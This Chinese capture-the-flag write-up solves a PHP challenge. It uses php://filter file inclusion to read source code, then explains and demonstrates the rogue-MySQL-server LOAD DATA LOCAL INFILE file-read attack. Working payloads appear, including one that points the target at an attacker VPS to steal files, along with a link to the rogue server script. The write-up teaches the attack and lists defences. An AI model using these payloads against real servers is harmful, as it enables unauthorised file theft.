本文首发于安全客:https://www.anquanke.com/post/id/173039

题目分析

题目给出了源码

1
2
3
4
5
6
7
8
<?php
define(ROBOTS, 0);
error_reporting(0);
if(empty($_GET["action"])) {
show_source(__FILE__);
} else {
include $_GET["action"].".php";
}

可以文件包含,但是被添加了.php后缀。尝试%00截断、超长字符串截断均不成功。
注意到第一句代码,变量名为ROBOTS,联想到robots.txt。
访问后发现目录

1
2
3
User-agent:*
Disallow:/install
Disallow:/admin

分别用php伪协议包含admin/index和install/index,payload为

http://ctf.chaffee.cc:23333/?action=php://filter/read=convert.base64-encode/resource=admin/index  
http://ctf.chaffee.cc:23333/?action=php://filter/read=convert.base64-encode/resource=install/index

得到admin/index.php,得到了flag的路径。

1
2
3
<?php
if (!defined("ROBOTS")) {die("Access Denied");}
echo "Congratulate hack to here, But flag in /var/www/flag.flag";

install/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
if(file_exists("./install.lock")) {
die("Have installed!");
}
$host = $_REQUEST['host'];
$user = $_REQUEST['user'];
$passwd = $_REQUEST['passwd'];
$database = $_REQUEST['database'];
if(!empty($host) && !empty($user) && !empty($passwd) && !empty($database)) {
$conn = new mysqli($host, $user, $passwd);
if($conn->connect_error) {
die($conn->connect_error);
} else {
$conn->query("DROP DATABASE ".$database);
$conn->query("CREATE DATABASE ".$database);
//To be continued
mysqli_close($conn);
$config = "<?php\n\$config=";
$config .= var_export(array("host"=>$host, "user"=>$user, "passwd"=>$passwd), TRUE).";";
file_put_contents(md5($_SERVER["REMOTE_ADDR"])."/config.php", $config);
}
}

该文件首先判断当前目录有无install.lock,我们通过上一级目录的文件包含漏洞可以绕过这个判断。下面是接受用户输入登陆mysql数据库,登陆成功的话会执行两个没有任何过滤的SQL语句,然后执行一个文件写入的操作。
我在做这道题时第一反应是爆破数据库,进入下面的else语句里,写入代码到config.php执行,但是发现如果直接输入对应的参数,即host=localhost&user=root&passwd=root&database=era,这样会报No such file or directory的错误。分析原因,的确成功登入数据库,但是在执行file_put_contents()函数时,插入了一个文件夹md5($_SERVER["REMOTE_ADDR"]),而这个函数在文件夹不存在的情况下是不能新建文件夹的,因此这个file_put_contents()函数并不能利用,我觉得这像是出题人的一个陷阱。那真正的利用点在哪呢?

漏洞回顾

首先回顾一下去年爆出的phpmyadmin任意文件读取漏洞。
如果phpmyadmin开启了如下选项

1
$cfg['AllowArbitraryServer'] = true; //false改为true

则登录时就可以访问远程的服务器。当登陆一个恶意构造的Mysql服务器时,即可利用load data infile读取该服务器上的任意文件。当然前提条件是secure_file_priv参数允许的目录下,且phpmyadmin的用户对该文件有读的权限。

这里利用vulnspy上的实验环境演示分析该漏洞。

首先是配置恶意服务器。在db服务器的命令行里修改root/exp/rogue_mysql_server.py文件,设port为3306外的其他端口,我这里设为3307,然后在filelist中选择一个要读取的文件。

ACMhxx.png

运行这个python脚本,可以看到服务器已经开始监听这个端口

ACQjk4.md.png

访问phpMyAdmin的登录页面,地址输入db:3307、用户名vulnspy、密码vulnspy,提交登录。

AClVtH.png

在db的命令行里可以看到,文件访问已经成功。

ACllB8.md.png

漏洞分析

漏洞出在Load data infile语法。在mysql客户端登陆mysql服务端后,客户端执行语句

1
Load data local infile '/etc/passwd' into table proc;

这里使用的是load data local infile,不加local是读取服务器的文件,添加local参数为读取本地文件。

ACUuge.md.png

即意为客户端本地的/etc/passwd文件插入了服务器的test表中。
服务器此时会回复一个包含了/etc/passwdResponse TABULAR包。

ACUlDA.md.png

ACU0Ds.md.png

接着客户端就回复给服务端本地/etc/passwd中的内容。
ACUoUx.md.png

正常的请求逻辑如下

1
2
3
4
sequenceDiagram
客户端->>服务端: Load data infile '/etc/passwd'...
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd

这是正常的情况,即客户端发送一个load data infile 请求,服务器回复一个Response TABULAR,不会出现什么问题。
但是Mysql允许服务端在任何时候发送Response TABULAR数据包, 此时就跳过了第一步,实现了任意文件读取的目的。

1
2
3
4
sequenceDiagram
客户端->>服务端:
服务端->>客户端: Response TABULAR
客户端->>服务端: Content in /etc/passwd

恶意mysql服务器只需要完成mysql连接的握手包,然后发送出这个Response TABULAR包,即可收到客户端传来的文件。

在刚才的phpmyadmin实例里抓包,可以看到该恶意服务端发包和客户端发送数据的包内容。

ACsJ10.md.png

这里给出github上的恶意mysql服务器地址:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

这就是整个漏洞的分析过程,最后回到开始那道ctf题,答案也是显而易见了。在vps上开启一个恶意mysql服务器并监听。然后在浏览器输入payload

1
host=VPS_ADDR:EVIL-MYSQL_PORT&user=root&passwd=root&database=ddd

即可在服务器的mysql.log里看到flag
ACsT3t.md.png

漏洞防御

  • 关闭local_infile参数,禁止导入本地文件
  • 开启--ssl-mode=VERIFY_IDENTITY参数,防止连接不安全的mysql服务器。

参考文档